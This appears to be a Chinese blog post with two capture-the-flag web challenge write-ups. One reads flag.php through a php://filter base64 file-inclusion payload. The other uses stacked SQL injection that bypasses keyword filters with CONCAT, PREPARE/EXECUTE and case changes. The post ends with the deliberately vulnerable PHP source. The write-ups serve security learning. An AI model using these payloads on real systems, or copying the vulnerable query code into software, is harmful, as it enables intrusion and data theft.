x2658y's Blog

杂七杂八的记事本

首先查看源代码,找到入口./Archive_room.phpimage-20211030113938928

进入Archiv_room.php, 点击按钮并抓包image-20211030114045966

可以看到逻辑就是点击按钮服务器指定跳转到end.php , 返回的内容中有secr3t.php

image-20211030114309440

进入secr3t.php页面,可见源代码, 有一些过滤, 但是貌似不影响操作image-20211030114612553

先试试file=flag.phpimage-20211030114947337

显然是不行的, flag就在flag.php中, 但是没有被显示出来我们需要拿到flag.php的源代码才行

这里采用php伪协议, 实现文件包含, 将源代码文件转换成base64编码显示出来(为什么要用base64编码?因为include引入的文件如果是php文件会被直接执行, 这样就拿不到源码了, 而如果是非php文件就会被显示出来)

构造payload:

1
file=php://filter/read=convert.base64-encode/resource=flag.php
image-20211030120426834

再把base64编码的源代码解码就可以拿到flag

image-20211030120555576

查看源代码未找到有用信息, 尝试提交数字1, 返回一个数组, 接着尝试注入1' or 1;%23, 成功返回三个数组,但未找到flag.

image-20211029164617724image-20211029164706347

尝试堆叠注入

1
1' or 1;show tables;%23

查出表名,可以看到words1919810931114514两个表

image-20211029165116741

堆叠注入

1
1' or 1;show tables;desc `1919810931114514`;desc `words`;%23

查出两个表的字段.

观察到words表有两个字段iddata, 1919810931114514仅有一个字段flag, 猜测flag就在表1919810931114514中.

image-20211029170144998

尝试注入

1
1' or 1;select * from `1919810931114514`;%23

提示

1
return preg_match("/select|update|delete|drop|insert|where|\./i",$inject);, 

得知有关键字审查

image-20211029220716039

采用预编译的方式绕过关键字审查, 构造注入语句:

1
2
3
4
5
6
7
1';set @sql = CONCAT('se','lect * from `1919810931114514`;');prepare stmt from @sql;EXECUTE stmt;

#拆开为
1'; #闭合单引号
set @sql = CONCAT('se','lect * from `1919810931114514`;'); #定义变量,采用CONCAT()拼接字符串绕过审查
prepare stmt from @sql; #预编译SQL语句
EXECUTE stmt; #执行编译完的SQL语句
image-20211029223621684

提示

1
strstr($inject, "set") && strstr($inject, "prepare")

有第二道关键字审查, 由于strstr区分大小写, 而set和prepare大小写不敏感, 故更改注入语句为

1
1';Set @sql = CONCAT('se','lect * from `1919810931114514`;');Prepare stmt from @sql;EXECUTE stmt;

即可绕过审查, 拿到flag

image-20211029223717822

源代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35

<?php
function waf1($inject) {
preg_match("/select|update|delete|drop|insert|where|\./i",$inject) && die('return preg_match("/select|update|delete|drop|insert|where|\./i",$inject);');
}
function waf2($inject) {
strstr($inject, "set") && strstr($inject, "prepare") && die('strstr($inject, "set") && strstr($inject, "prepare")');
}
if(isset($_GET['inject'])) {
$id = $_GET['inject'];
waf1($id);
waf2($id);
$mysqli = new mysqli("127.0.0.1","root","root","supersqli");
//多条sql语句
$sql = "select * from `words` where id = '$id';";
$res = $mysqli->multi_query($sql);
if ($res){//使用multi_query()执行一条或多条sql语句
do{
if ($rs = $mysqli->store_result()){//store_result()方法获取第一条sql语句查询结果
while ($row = $rs->fetch_row()){
var_dump($row);
echo "<br>";
}
$rs->Close(); //关闭结果集
if ($mysqli->more_results()){ //判断是否还有更多结果集
echo "<hr>";
}
}
}while($mysqli->next_result()); //next_result()方法获取下一结果集,返回bool值
} else {
echo "error ".$mysqli->errno." : ".$mysqli->error;
}
$mysqli->close(); //关闭数据库连接
}
?>
0%